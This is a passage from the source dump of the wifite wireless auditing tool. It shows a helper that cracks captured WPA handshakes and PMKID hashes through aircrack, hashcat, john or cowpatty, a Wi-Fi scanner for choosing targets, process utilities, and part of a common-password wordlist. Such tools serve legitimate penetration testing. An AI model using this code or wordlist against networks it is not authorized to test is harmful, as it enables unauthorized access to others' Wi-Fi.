selection.append(handshakes[index-1])\n            elif choice.strip().lower() == 'all':\n                selection = handshakes[:]\n                break\n            elif [c.isdigit() for c in choice]:\n                index = int(choice)\n                selection.append(handshakes[index-1])\n\n        return selection\n\n\n    @classmethod\n    def crack(cls, hs, tool):\n        Color.pl('\\n{+} Cracking {G}%s {C}%s{W} ({C}%s{W})' % (\n            cls.TYPES[hs['type']], hs['essid'], hs['bssid']))\n\n        if hs['type'] == 'PMKID':\n            crack_result = cls.crack_pmkid(hs, tool)\n        elif hs['type'] == '4-WAY':\n            crack_result = cls.crack_4way(hs, tool)\n        else:\n            raise ValueError('Cannot crack handshake: Type is not PMKID or 4-WAY. Handshake=%s' % hs)\n\n        if crack_result is None:\n            # Failed to crack\n            Color.pl('{!} {R}Failed to crack {O}%s{R} ({O}%s{R}): Passphrase not in dictionary' % (\n                hs['essid'], hs['bssid']))\n        else:\n            # Cracked, replace existing entry (if any), or add to\n            Color.pl('{+} {G}Cracked{W} {C}%s{W} ({C}%s{W}). Key: \"{G}%s{W}\"' % (\n                hs['essid'], hs['bssid'], crack_result.key))\n            crack_result.save()\n\n\n    @classmethod\n    def crack_4way(cls, hs, tool):\n\n        handshake = Handshake(hs['filename'],\n                bssid=hs['bssid'],\n                essid=hs['essid'])\n        try:\n            handshake.divine_bssid_and_essid()\n        except ValueError as e:\n            Color.pl('{!} {R}Error: {O}%s{W}' % e)\n            return None\n\n        if tool == 'aircrack':\n            key = Aircrack.crack_handshake(handshake, show_command=True)\n        elif tool == 'hashcat':\n            key = Hashcat.crack_handshake(handshake, show_command=True)\n        elif tool == 'john':\n            key = John.crack_handshake(handshake, show_command=True)\n        elif tool == 'cowpatty':\n            key = Cowpatty.crack_handshake(handshake, show_command=True)\n\n        if key is not None:\n            return CrackResultWPA(hs['bssid'], hs['essid'], hs['filename'], key)\n        else:\n            return None\n\n\n    @classmethod\n    def crack_pmkid(cls, hs, tool):\n        if tool != 'hashcat':\n            Color.pl('{!} {O}Note: PMKID hashes can only be cracked using {C}hashcat{W}')\n\n        key = Hashcat.crack_pmkid(hs['filename'], verbose=True)\n\n        if key is not None:\n            return CrackResultPMKID(hs['bssid'], hs['essid'], hs['filename'], key)\n        else:\n            return None\n\n\nif __name__ == '__main__':\n    CrackHelper.run()\n\n"
  },
  {
    "path": "wifite/util/input.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Fix for raw_input on python3: https://stackoverflow.com/a/7321970\ntry:\n    input = raw_input\nexcept NameError:\n    pass\n\nraw_input = input\n\ntry:\n    range = xrange\nexcept NameError:\n    pass\n\nxrange = range\n"
  },
  {
    "path": "wifite/util/process.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\nimport signal\nimport os\n\nfrom subprocess import Popen, PIPE\n\nfrom ..util.color import Color\nfrom ..config import Configuration\n\n\nclass Process(object):\n    ''' Represents a running/ran process '''\n\n    @staticmethod\n    def devnull():\n        ''' Helper method for opening devnull '''\n        return open('/dev/null', 'w')\n\n    @staticmethod\n    def call(command, cwd=None, shell=False):\n        '''\n            Calls a command (either string or list of args).\n            Returns tuple:\n                (stdout, stderr)\n        '''\n        if type(command) is not str or ' ' in command or shell:\n            shell = True\n            if Configuration.verbose > 1:\n                Color.pe('\\n {C}[?] {W} Executing (Shell): {B}%s{W}' % command)\n        else:\n            shell = False\n            if Configuration.verbose > 1:\n                Color.pe('\\n {C}[?]{W} Executing: {B}%s{W}' % command)\n\n        pid = Popen(command, cwd=cwd, stdout=PIPE, stderr=PIPE, shell=shell)\n        pid.wait()\n        (stdout, stderr) = pid.communicate()\n\n        # Python 3 compatibility\n        if type(stdout) is bytes: stdout = stdout.decode('utf-8')\n        if type(stderr) is bytes: stderr = stderr.decode('utf-8')\n\n\n        if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '':\n            Color.pe('{P} [stdout] %s{W}' % '\\n [stdout] '.join(stdout.strip().split('\\n')))\n        if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '':\n            Color.pe('{P} [stderr] %s{W}' % '\\n [stderr] '.join(stderr.strip().split('\\n')))\n\n        return (stdout, stderr)\n\n    @staticmethod\n    def exists(program):\n        ''' Checks if program is installed on this system '''\n        p = Process(['which', program])\n        stdout = p.stdout().strip()\n        stderr = p.stderr().strip()\n\n        if stdout == '' and stderr == '':\n            return False\n\n        return True\n\n    def __init__(self, command, devnull=False, stdout=PIPE, stderr=PIPE, cwd=None, bufsize=0, stdin=PIPE):\n        ''' Starts executing command '''\n\n        if type(command) is str:\n            # Commands have to be a list\n            command = command.split(' ')\n\n        self.command = command\n\n        if Configuration.verbose > 1:\n            Color.pe('\\n {C}[?] {W} Executing: {B}%s{W}' % ' '.join(command))\n\n        self.out = None\n        self.err = None\n        if devnull:\n            sout = Process.devnull()\n            serr = Process.devnull()\n        else:\n            sout = stdout\n            serr = stderr\n\n        self.start_time = time.time()\n\n        self.pid = Popen(command, stdout=sout, stderr=serr, stdin=stdin, cwd=cwd, bufsize=bufsize)\n\n    def __del__(self):\n        '''\n            Ran when object is GC'd.\n            If process is still running at this point, it should die.\n        '''\n        try:\n            if self.pid and self.pid.poll() is None:\n                self.interrupt()\n        except AttributeError:\n            pass\n\n    def stdout(self):\n        ''' Waits for process to finish, returns stdout output '''\n        self.get_output()\n        if Configuration.verbose > 1 and self.out is not None and self.out.strip() != '':\n            Color.pe('{P} [stdout] %s{W}' % '\\n [stdout] '.join(self.out.strip().split('\\n')))\n        return self.out\n\n    def stderr(self):\n        ''' Waits for process to finish, returns stderr output '''\n        self.get_output()\n        if Configuration.verbose > 1 and self.err is not None and self.err.strip() != '':\n            Color.pe('{P} [stderr] %s{W}' % '\\n [stderr] '.join(self.err.strip().split('\\n')))\n        return self.err\n\n    def stdoutln(self):\n        return self.pid.stdout.readline()\n\n    def stderrln(self):\n        return self.pid.stderr.readline()\n\n    def stdin(self, text):\n        if self.pid.stdin:\n            self.pid.stdin.write(text.encode('utf-8'))\n            self.pid.stdin.flush()\n\n    def get_output(self):\n        ''' Waits for process to finish, sets stdout & stderr '''\n        if self.pid.poll() is None:\n            self.pid.wait()\n        if self.out is None:\n            (self.out, self.err) = self.pid.communicate()\n\n        if type(self.out) is bytes:\n            self.out = self.out.decode('utf-8')\n\n        if type(self.err) is bytes:\n            self.err = self.err.decode('utf-8')\n\n        return (self.out, self.err)\n\n    def poll(self):\n        ''' Returns exit code if process is dead, otherwise 'None' '''\n        return self.pid.poll()\n\n    def wait(self):\n        self.pid.wait()\n\n    def running_time(self):\n        ''' Returns number of seconds since process was started '''\n        return int(time.time() - self.start_time)\n\n    def interrupt(self, wait_time=2.0):\n        '''\n            Send interrupt to current process.\n            If process fails to exit within `wait_time` seconds, terminates it.\n        '''\n        try:\n            pid = self.pid.pid\n            cmd = self.command\n            if type(cmd) is list:\n                cmd = ' '.join(cmd)\n\n            if Configuration.verbose > 1:\n                Color.pe('\\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd))\n\n            os.kill(pid, signal.SIGINT)\n\n            start_time = time.time()  # Time since Interrupt was sent\n            while self.pid.poll() is None:\n                # Process is still running\n                time.sleep(0.1)\n                if time.time() - start_time > wait_time:\n                    # We waited too long for process to die, terminate it.\n                    if Configuration.verbose > 1:\n                        Color.pe('\\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time)\n                    os.kill(pid, signal.SIGTERM)\n                    self.pid.terminate()\n                    break\n\n        except OSError as e:\n            if 'No such process' in e.__str__():\n                return\n            raise e  # process cannot be killed\n\n\nif __name__ == '__main__':\n    Configuration.initialize(False)\n    p = Process('ls')\n    print(p.stdout())\n    print(p.stderr())\n    p.interrupt()\n\n    # Calling as list of arguments\n    (out, err) = Process.call(['ls', '-lah'])\n    print(out)\n    print(err)\n\n    print('\\n---------------------\\n')\n\n    # Calling as string\n    (out, err) = Process.call('ls -l | head -2')\n    print(out)\n    print(err)\n\n    print('\"reaver\" exists: %s' % Process.exists('reaver'))\n\n    # Test on never-ending process\n    p = Process('yes')\n    print('Running yes...')\n    time.sleep(1)\n    print('yes should stop now')\n    # After program loses reference to instance in 'p', process dies.\n\n"
  },
  {
    "path": "wifite/util/scanner.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom ..util.color import Color\nfrom ..tools.airodump import Airodump\nfrom ..util.input import raw_input, xrange\nfrom ..model.target import Target, WPSState\nfrom ..config import Configuration\n\nfrom time import sleep, time\n\nclass Scanner(object):\n    ''' Scans wifi networks & provides menu for selecting targets '''\n\n    # Console code for moving up one line\n    UP_CHAR = '\\x1B[1F'\n\n    def __init__(self):\n        '''\n        Scans for targets via Airodump.\n        Loops until scan is interrupted via user or config.\n        Note: Sets this object's `targets` attrbute (list[Target]) upon interruption.\n        '''\n        self.previous_target_count = 0\n        self.targets = []\n        self.target = None # Target specified by user (based on ESSID/BSSID)\n\n        max_scan_time = Configuration.scan_time\n\n        self.err_msg = None\n\n        # Loads airodump with interface/channel/etc from Configuration\n        try:\n            with Airodump() as airodump:\n                # Loop until interrupted (Ctrl+C)\n                scan_start_time = time()\n\n                while True:\n                    if airodump.pid.poll() is not None:\n                        return  # Airodump process died\n\n                    self.targets = airodump.get_targets(old_targets=self.targets)\n\n                    if self.found_target():\n                        return  # We found the target we want\n\n                    if airodump.pid.poll() is not None:\n                        return  # Airodump process died\n\n                    for target in self.targets:\n                        if target.bssid in airodump.decloaked_bssids:\n                            target.decloaked = True\n\n                    self.print_targets()\n\n                    target_count = len(self.targets)\n                    client_count = sum(len(t.clients) for t in self.targets)\n\n                    outline = '\\r{+} Scanning'\n                    if airodump.decloaking:\n                        outline += ' & decloaking'\n                    outline += '. Found'\n                    outline += ' {G}%d{W} target(s),' % target_count\n                    outline += ' {G}%d{W} client(s).' % client_count\n                    outline += ' {O}Ctrl+C{W} when ready '\n                    Color.clear_entire_line()\n                    Color.p(outline)\n\n                    if max_scan_time > 0 and time() > scan_start_time + max_scan_time:\n                        return\n\n                    sleep(1)\n\n        except KeyboardInterrupt:\n            pass\n\n\n    def found_target(self):\n        '''\n        Detect if we found a target specified by the user (optional).\n        Sets this object's `target` attribute if found.\n        Returns: True if target was specified and found, False otherwise.\n        '''\n        bssid = Configuration.target_bssid\n        essid = Configuration.target_essid\n\n        if bssid is None and essid is None:\n            return False  # No specific target from user.\n\n        for target in self.targets:\n            if Configuration.wps_only and target.wps not in [WPSState.UNLOCKED, WPSState.LOCKED]:\n                continue\n            if bssid and target.bssid and bssid.lower() == target.bssid.lower():\n                self.target = target\n                break\n            if essid and target.essid and essid.lower() == target.essid.lower():\n                self.target = target\n                break\n\n        if self.target:\n            Color.pl('\\n{+} {C}found target{G} %s {W}({G}%s{W})'\n                % (self.target.bssid, self.target.essid))\n            return True\n\n        return False\n\n\n    def print_targets(self):\n        '''Prints targets selection menu (1 target per row).'''\n        if len(self.targets) == 0:\n            Color.p('\\r')\n            return\n\n        if self.previous_target_count > 0:\n            # We need to 'overwrite' the previous list of targets.\n            if Configuration.verbose <= 1:\n                # Don't clear screen buffer in verbose mode.\n                if self.previous_target_count > len(self.targets) or \\\n                   Scanner.get_terminal_height() < self.previous_target_count + 3:\n                    # Either:\n                    # 1) We have less targets than before, so we can't overwrite the previous list\n                    # 2) The terminal can't display the targets without scrolling.\n                    # Clear the screen.\n                    from ..util.process import Process\n                    Process.call('clear')\n                else:\n                    # We can fit the targets in the terminal without scrolling\n                    # 'Move' cursor up so we will print over the previous list\n                    Color.pl(Scanner.UP_CHAR * (3 + self.previous_target_count))\n\n        self.previous_target_count = len(self.targets)\n\n        # Overwrite the current line\n        Color.p('\\r{W}{D}')\n\n        # First row: columns\n        Color.p('   NUM')\n        Color.p('                      ESSID')\n        if Configuration.show_bssids:\n            Color.p('              BSSID')\n        Color.pl('   CH  ENCR  POWER  WPS?  CLIENT')\n\n        # Second row: separator\n        Color.p('   ---')\n        Color.p('  -------------------------')\n        if Configuration.show_bssids:\n            Color.p('  -----------------')\n        Color.pl('  ---  ----  -----  ----  ------{W}')\n\n        # Remaining rows: targets\n        for idx, target in enumerate(self.targets, start=1):\n            Color.clear_entire_line()\n            Color.p('   {G}%s  ' % str(idx).rjust(3))\n            Color.pl(target.to_str(Configuration.show_bssids))\n\n    @staticmethod\n    def get_terminal_height():\n        import os\n        (rows, columns) = os.popen('stty size', 'r').read().split()\n        return int(rows)\n\n    @staticmethod\n    def get_terminal_width():\n        import os\n        (rows, columns) = os.popen('stty size', 'r').read().split()\n        return int(columns)\n\n    def select_targets(self):\n        '''\n        Returns list(target)\n        Either a specific target if user specified -bssid or --essid.\n        Otherwise, prompts user to select targets and returns the selection.\n        '''\n\n        if self.target:\n            # When user specifies a specific target\n            return [self.target]\n\n        if len(self.targets) == 0:\n            if self.err_msg is not None:\n                Color.pl(self.err_msg)\n\n            # TODO Print a more-helpful reason for failure.\n            # 1. Link to wireless drivers wiki,\n            # 2. How to check if your device supporst monitor mode,\n            # 3. Provide airodump-ng command being executed.\n            raise Exception('No targets found.'\n                + ' You may need to wait longer,'\n                + ' or you may have issues with your wifi card')\n\n        # Return all targets if user specified a wait time ('pillage').\n        if Configuration.scan_time > 0:\n            return self.targets\n\n        # Ask user for targets.\n        self.print_targets()\n        Color.clear_entire_line()\n\n        if self.err_msg is not None:\n            Color.pl(self.err_msg)\n\n        input_str  = '{+} select target(s)'\n        input_str += ' ({G}1-%d{W})' % len(self.targets)\n        input_str += ' separated by commas, dashes'\n        input_str += ' or {G}all{W}: '\n\n        chosen_targets = []\n\n        for choice in raw_input(Color.s(input_str)).split(','):\n            choice = choice.strip()\n            if choice.lower() == 'all':\n                chosen_targets = self.targets\n                break\n            if '-' in choice:\n                # User selected a range\n                (lower,upper) = [int(x) - 1 for x in choice.split('-')]\n                for i in xrange(lower, min(len(self.targets), upper + 1)):\n                    chosen_targets.append(self.targets[i])\n            elif choice.isdigit():\n                choice = int(choice) - 1\n                chosen_targets.append(self.targets[choice])\n\n        return chosen_targets\n\n\nif __name__ == '__main__':\n    # 'Test' script will display targets and selects the appropriate one\n    Configuration.initialize()\n    try:\n        s = Scanner()\n        targets = s.select_targets()\n    except Exception as e:\n        Color.pl('\\r {!} {R}Error{W}: %s' % str(e))\n        Configuration.exit_gracefully(0)\n    for t in targets:\n        Color.pl('    {W}Selected: %s' % t)\n    Configuration.exit_gracefully(0)\n\n"
  },
  {
    "path": "wifite/util/timer.py",
    "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport time\n\nclass Timer(object):\n    def __init__(self, seconds):\n        self.start_time = time.time()\n        self.end_time = self.start_time + seconds\n\n    def remaining(self):\n        return max(0, self.end_time - time.time())\n\n    def ended(self):\n        return self.remaining() == 0\n\n    def running_time(self):\n        return time.time() - self.start_time\n\n    def __str__(self):\n        ''' Time remaining in minutes (if > 1) and seconds, e.g. 5m23s'''\n        return Timer.secs_to_str(self.remaining())\n\n    @staticmethod\n    def secs_to_str(seconds):\n        '''Human-readable seconds. 193 -> 3m13s'''\n        if seconds < 0:\n            return '-%ds' % seconds\n\n        rem = int(seconds)\n        hours = int(rem / 3600)\n        mins = int((rem % 3600) / 60)\n        secs = rem % 60\n        if hours > 0:\n            return '%dh%dm%ds' % (hours, mins, secs)\n        elif mins > 0:\n            return '%dm%ds' % (mins, secs)\n        else:\n            return '%ds' % secs\n"
  },
  {
    "path": "wordlist-top4800-probable.txt",
    "content": "password\n123456789\n12345678\n1q2w3e4r\nsunshine\nfootball\n1234567890\ncomputer\nsuperman\ninternet\niloveyou\n1qaz2wsx\nbaseball\nwhatever\nprincess\nabcd1234\nstarwars\ntrustno1\npassword1\njennifer\nmichelle\nmercedes\nbenjamin\n11111111\nsamantha\nvictoria\nalexander\n987654321\nasdf1234\n1234qwer\nqwertyuiop\nq1w2e3r4\nelephant\ngarfield\nchocolate\njonathan\ncaroline\nmaverick\nmidnight\n88888888\ncreative\nqwerty123\ncocacola\npassw0rd\nliverpool\nblink182\nasdfghjkl\ndanielle\nscorpion\nveronica\nnicholas\nasdfasdf\nmetallica\ndecember\npatricia\nchristian\nspiderman\nsecurity\nslipknot\nnovember\njordan23\nqwertyui\nbutterfly\nswordfish\ncarolina\nhardcore\ncorvette\n12341234\nremember\nqwer1234\nleonardo\nsnickers\nwilliams\nangelina\nanderson\n123123123\npakistan\nmarlboro\nkimberly\n00000000\nsnowball\nsebastian\ngodzilla\nhello123\nchampion\nprecious\neinstein\nnapoleon\nmountain\ndolphins\ncharlotte\nfernando\nbasketball\nbarcelona\n87654321\nparadise\nmotorola\nbullshit\nbrooklyn\nstephanie\nelizabeth\nqwerty12\nfranklin\namerican\nplatinum\nicecream\ndarkness\ncristina\ncolorado\nalexandra\nsteelers\nserenity\nmitchell\nlollipop\nmarshall\n1qazxsw2\n12344321\nstartrek\nchristine\nbusiness\nnintendo\n12qwaszx\nasdfghjk\nPassword\n1q2w3e4r5t\nzaq12wsx\nscotland\nhercules\nexplorer\nmanchester\nfirebird\nengineer\nvirginia\nsimpsons\nangelica\nseptember\nisabelle\nisabella\nchangeme\npassport\ninfinity\nsuperstar\ncourtney\nscarface\npavilion\nabcdefgh\na1b2c3d4\nharrison\nspitfire\ncatherine\nbirthday\nwolverine\nguinness\ncalifornia\nlogitech\nemmanuel\n11223344\ngoldfish\ncheyenne\ntesttest\nstargate\nmicrosoft\nanything\naaaaaaaa\nwelcome1\neternity\nwestside\npassword123\nmaryjane\nmichael1\nlawrence\nkristina\nkawasaki\ndrowssap\nblahblah\nbabygirl\npoohbear\nflorence\nsapphire\nhamilton\ngreenday\nqazwsxedc\ntwilight\nswimming\nstardust\npredator\npenelope\nmichigan\nmargaret\nbrittany\nshithead\nredskins\npussycat\nfireball\ncherokee\naustralia\n1234abcd\nlovelove\nthailand\nlasvegas\nbutthead\nblizzard\nshamrock\nbluebird\natlantis\n147258369\nvalentine\nmagnolia\njuventus\ndiamonds\nchristopher\nwarcraft\nrenegade\nmohammed\nterminator\nshopping\nsavannah\ngiovanni\n12121212\nwildcats\nportugal\nbeautiful\nsunflower\nsantiago\nkathleen\nenterprise\nclifford\nchristina\n55555555\nsomething\nrosemary\nvacation\nhollywood\nchandler\n99999999\nlorraine\nchildren\nbeatrice\nairborne\nvalentin\nmoonlight\nkamikaze\nstrawberry\nsoftware\n22222222\nskywalker\nsalvador\npanthers\nlacrosse\ncharlie1\ncardinal\nbluemoon\n0123456789\nzeppelin\nrockstar\noperator\ndragonfly\ndickhead\nanaconda\namsterdam\n789456123\n77777777\nskittles\npersonal\nkingkong\ngeronimo\nchristmas\nwrestling\nrobinson\nlightning\nkingston\nhannibal\ndownload\ndarkstar\nundertaker\ntinkerbell\nsweetpea\nsoftball\npanasonic\npa55word\nkeyboard\ndarkside\ncleopatra\nassassin\nvladimir\nnational\nmatthew1\ngodfather\nbrothers\nwarriors\nuniverse\nrush2112\nmushroom\nbigdaddy\n1a2b3c4d\nultimate\npeterpan\nloverboy\ntruelove\ntrombone\nmadeline\ngangster\ndingdong\ncatalina\nalejandro\nkittycat\naquarius\n1111111111\npatriots\njamesbond\nihateyou\nblessing\nairplane\nPassword1\nstingray\nhellfire\nguardian\nflamingo\n0987654321\nsocrates\nrichmond\nelectric\nthankyou\nsterling\nmunchkin\nmorpheus\nimperial\nhappiness\ngoodluck\ncolumbia\ncampbell\nblackjack\n999999999\ntelephone\noblivion\nnewcastle\nfreedom1\nwashington\nvalentina\nvalencia\nspectrum\njessica1\njeremiah\nhandsome\ngoldberg\ngabriela\nanthony1\na1234567\nxxxxxxxx\npeekaboo\nmotherfucker\nmontreal\nkatherine\nkangaroo\nimmortal\nchocolat\nthompson\nresearch\noklahoma\nmariposa\nidontknow\ndefender\napplepie\nsquirrel\npineapple\nhongkong\ndinosaur\nbabydoll\nwolfgang\nsemperfi\npatience\nfletcher\ndrpepper\ncreation\nwordpass\npasswort\noriginal\nnightmare\nmartinez\nlabrador\nexcalibur\ndiscovery\napple123\nsundance\nredwings\nmypassword\nmonopoly\nmargarita\nlionking\nfootball1\ndirector\n44444444\nsylvester\nsherlock\nmarianne\nlancelot\njeanette\ncannabis\nandromeda\nwerewolf\nstarcraft\nmarathon\nlonghorn\nhappy123\nbrucelee\nargentina\n147852369\nwrangler\nwilliam1\nstranger\nscarlett\nqweasdzxc\nplaystation\nmorrison\nfebruary\nfantasia\ndesigner\nbulldogs\nsullivan\nsaturday\npingpong\nkristine\nhalloween\nfuckyou1\nfearless\ncassandra\nbismillah\nairforce\ntheodore\nstarfish\npass1234\ncinnamon\nsweetheart\noverlord\nmichaela\nmeredith\nbuttercup\nabc12345\naardvark\nPassw0rd\n12345678910\nuniversal\ntrinidad\nthursday\nstandard\npearljam\nanonymous\nspringer\nragnarok\nportland\nnathalie\nlemonade\nlavender\ngotohell\ngladiator\nfreckles\ncrusader\ncommando\nclarence\ncadillac\nalexandre\n123654789\nverbatim\numbrella\nsplinter\nregister\nqwert123\npenguins\nncc1701d\nestrella\ndowntown\ncolombia\nchemistry\nbollocks\nanastasia\n741852963\n69696969\nshowtime\nrevolution\nqwerasdf\npassword2\nmongoose\nillusion\ncooldude\nabracadabra\n123qweasd\ntreasure\npinkfloyd\npasswords\nlinkinpark\neducation\nunderground\nmonalisa\njustdoit\nericsson\nchelsea1\nachilles\na1s2d3f4\nveronika\ntest1234\nteddybear\nsporting\npapillon\nnevermind\nmarketing\njuliette\ngabrielle\nfuckyou2\nfirewall\nevolution\ncristian\ncavalier\ncanadian\nadmin123\ntogether\nspongebob\npa55w0rd\nhalflife\nformula1\ndragonball\nthirteen\nstonecold\nrastaman\nmustang1\ncucumber\nskateboard\nsheridan\nqqqqqqqq\npunisher\nlovelife\ngretchen\nchevelle\nchester1\nadministrator\nwireless\nvolleyball\nsandiego\npokemon1\nlollypop\ngorgeous\nchickens\nblueberry\nblackman\nblackbird\natlantic\nwildfire\nwaterloo\nsingapore\nrocknroll\nmississippi\njames123\nhomework\nhighland\neldorado\ndiscover\ncomputer1\nalphabet\n123456789a\n1123581321\nzaq1xsw2\nwebmaster\nuniversity\ntropical\nsouthpark\nquestion\npresario\npoiuytrewq\nnotebook\nnebraska\nbullseye\nvalhalla\ntomorrow\nstarlight\nrichard1\npositive\nplymouth\npatrick1\nfaithful\ndominique\ndoberman\ncriminal\ncrackers\nconverse\ncasanova\nattitude\n66666666\nwonderful\nscooter1\nscoobydoo\nrochelle\npunkrock\nmessenger\nkentucky\ninsomnia\nhooligan\ngertrude\ncapricorn\nblueeyes\nblackberry\nblablabla\nterminal\nsnowflake\nposeidon\nparanoid\nmastermind\nlaurence\nistanbul\nfrederic\ndoomsday\nbradford\nbonehead\napollo13\nalessandro\nwestwood\nsupernova\nsatan666\nreynolds\nqazwsx123\nq1w2e3r4t5\nmckenzie\nmagician\njellybean\ninnocent\nhotstuff\nfountain\nconcrete\ncapslock\nsnuggles\nprofessor\nmegadeth\nmedicine\nlionheart\njackson1\nintrepid\nhighlander\ngreen123\ngeoffrey\nfrancisco\ndynamite\ncolumbus\ncinderella\nchemical\nchargers\nusername\nsuperman1\nsherwood\nmoonbeam\nmeowmeow\nmatthias\njosephine\njackson5\nhonolulu\ndiamond1\ncrawford\nbroadway\nbackspace\nasdasdasd\nzzzzzzzz\nwhocares\nwatermelon\nsvetlana\nsouthern\npresident\npleasure\nmakaveli\nhoneybee\nfrancois\nchicken1\nbookworm\nPASSWORD\n33333333\nwoodstock\nsunlight\nstallion\nkaterina\njefferson\ninternational\nhellokitty\nhedgehog\nhappyday\nfrederick\ndavidson\ndangerous\ncerberus\nblackcat\narsenal1\nangel123\n10101010\ntraining\nroadrunner\nrepublic\nrecovery\nmaradona\nintruder\nhermione\nhastings\ngoldstar\nfredfred\nfederico\ndeftones\ncommander\nchevrolet\nblackout\nbillabong\n1234567a\n1234554321\nyesterday\nwolfpack\nthunder1\ntacobell\nsweetness\nsolution\nshanghai\nsatellite\nrootbeer\nphillips\nmonsters\nlonewolf\nkeystone\njohannes\ngrateful\ncontinue\nconfused\nbrighton\n0000000000\nyankees1\ntriangle\npeterson\nmarianna\nmandrake\ninuyasha\nhardware\nfreebird\nferguson\ndominick\nbullfrog\nbabylon5\n13131313\nzanzibar\ntransfer\ntelevision\nsparkles\nshepherd\nresident\nproperty\npictures\nmischief\nmacintosh\nkristian\nkissmyass\nhurricane\nheineken\nhahahaha\neastside\ndaffodil\ncharming\nbillybob\narmstrong\nadventure\nadelaide\nunderdog\ntechnics\nsamsung1\nqwerty1234\nphoenix1\nmusicman\nmarjorie\nletmein1\njerusalem\ninformation\niloveyou1\nhospital\nhandball\ngonzales\ndarkangel\nbudapest\nbrandon1\nalliance\nadrienne\naberdeen\nabc123456\n1234512345\nwonderland\nthuglife\nsentinel\nrichards\nrammstein\nnewyork1\nmortimer\nmarcello\nmagazine\ninfantry\nhopeless\nharrypotter\nfandango\ndeadhead\nclarissa\nchristie\ncharlene\nbillyboy\nbangbang\nabsolute\ntitanium\ntiger123\nsuperior\nstefanie\nspaceman\nsomebody\nsinclair\npppppppp\npaintball\nmmmmmmmm\nmilitary\nmarijuana\nmackenzie\nloveless\nlighthouse\nkarolina\njesuschrist\nfernanda\nfelicity\ndietcoke\ncleveland\nbrewster\nbabyblue\nashleigh\n1q2w3e4r5t6y\n14789632\nwhiskers\nvalkyrie\nsuperfly\nstrength\nseventeen\nprogress\nmuhammad\nmaryland\nevergreen\ndaughter\nclarinet\nchuckles\nbeethoven\nalmighty\naaaaaaaaaa\n9876543210\n1qaz1qaz\nwaterfall\nsneakers\nsaratoga\nqawsedrf\nmotocross\nmajestic\nkingfish\njapanese\ngraphics\nflounder\ncoltrane\nchris123\ncheckers\nbarbados\naugustus\nangelika\n12345qwert\nwashburn\ntottenham\nsurvivor\nstanford\nsoulmate\nrasputin\npallmall\noverkill\nmeatloaf\nlowrider\nkatarina\nilovegod\nheather1\nhallo123\ngiuseppe\neastwood\ndominion\ndestroyer\nchiquita\nchipmunk\ncastillo\nberkeley\nalexandria\n1122334455\n1029384756\nthinking\ntarheels\nseminole\nradiohead\npriscilla\npornstar\nplatypus\nnirvana1\nmephisto\nlancaster\nknowledge\njohnjohn\ngameover\nfuckface\ndavid123\ndarklord\ncutiepie\ncarnival\ncandyman\nblowfish\nssssssss\nsnowboard\nsandwich\nsailboat\nmandarin\nknuckles\njasmine1\nhardrock\ndaredevil\nboomboom\nbenedict\nbabyface\nalbatros\n963852741\nvalentino\nsprinter\nsalvation\nrolltide\nrodriguez\nr2d2c3po\npassword12\nmustangs\nmoonshine\nmissouri\nmeridian\nmeatball\nmalaysia\nkillbill\nillinois\ngonzalez\ngeorgina\ngargoyle\nevangelion\ndisaster\ncomplete\nclaymore\ncheesecake\nchainsaw\nbluebell\n98765432\nwishbone\nwarhammer\nviewsonic\nvampires\nthunderbird\nsmashing\nrhiannon\nrachelle\nplaytime\noffspring\nmarcella\nlonestar\nheritage\nhayabusa\nfreestyle\nforsaken\nferrari1\nchallenger\nbackdoor\nasshole1\n147896325\n11235813\nyosemite\nyogibear\ntalisman\ntaekwondo\nsyracuse\nsupersonic\nrandolph\nraistlin\npreacher\nmillions\nmetallic\nmadison1\nlosangeles\nhernandez\ndontknow\ncoolcool\ncharisma\nwednesday\nstarwars1\nsinister\npasspass\nmohammad\nmcdonald\ngoldeneye\nfrontier\nfrancesca\nflipflop\nfisherman\neggplant\ndannyboy\ndaniella\nchrysler\ncameron1\ncambridge\nbuckshot\narkansas\narchangel\namerica1\n12345679\nromantic\nrobotics\nredalert\nmegatron\nmamapapa\nhyperion\nhamburger\ngabriel1\nfuckfuck\nfriendship\nfriendly\nflorida1\ndreaming\ndoghouse\ndisturbed\nchristin\nbubblegum\nbrigitte\naddicted\nunderworld\nshadow12\nporkchop\nnegative\nmistress\nmelissa1\njermaine\njames007\ngabriella\nfrancine\ndelphine\ncrystal1\ncomputers\nchestnut\nbaseball1\nauckland\n321654987\nwanderer\nvancouver\ntomahawk\nthanatos\nsyncmaster\nsnoopdog\nroderick\nprincesa\npentagon\nnathaniel\nmoney123\nmillenium\nmechanic\nliverpool1\nfrancesco\nesmeralda\ncreature\ncornwall\nchadwick\ncarpediem\ncalendar\nabdullah\nvendetta\nsupervisor\nstephane\nrevolver\nrailroad\nqwerty12345\np4ssw0rd\nminnesota\nmariners\niloveyou2\nholyshit\nelisabeth\ndatabase\nbumblebee\nbobafett\nbernardo\namethyst\nalbatross\nadvanced\nwhistler\nwellington\nslamdunk\nsheffield\nscrabble\nroadkill\nrealmadrid\nrainbows\npolopolo\nobsidian\nnorthern\nlearning\nindependent\nimpossible\nelements\nelectron\ncustomer\nbudweiser\nbrisbane\nbaritone\narmageddon\namarillo\nalexandr\naerosmith\n12301230\nwindmill\nvanhalen\nsurprise\nstarfire\nspeakers\nncc1701e\nlifetime\nkittykat\nfredrick\nfidelity\nfabulous\neveryday\ncoolness\nconcorde\ncatwoman\ncasablanca\nblackhawk\nbabybaby\nvodafone\ntraveler\nsouthside\nrainbow1\nprincess1\npotatoes\npipeline\nphilippe\npathfinder\nmonterey\nlipstick\nlakeside\ninternet1\ninsanity\nfishbone\nchihuahua\nbordeaux\nbiohazard\n21122112\nwindsurf\nvelocity\nvagabond\ntopsecret\nreloaded\nraindrop\nprudence\nprofessional\npharmacy\npeaceful\nmultimedia\nmontgomery\nmarseille\nmarietta\nletmein2\nladybird\ninternal\ngigabyte\nfourteen\ndolphin1\nchambers\nbunghole\nbuckeyes\nbluefish\napocalypse\naphrodite\n4815162342\n23232323\n12369874\n111222333\nzerocool\nwrestler\ntortoise\nsysadmin\nsunshine1\nstarship\nqwerty123456\nqwerty11\nprimrose\npolitics\nparanoia\npancakes\noverload\nopensesame\n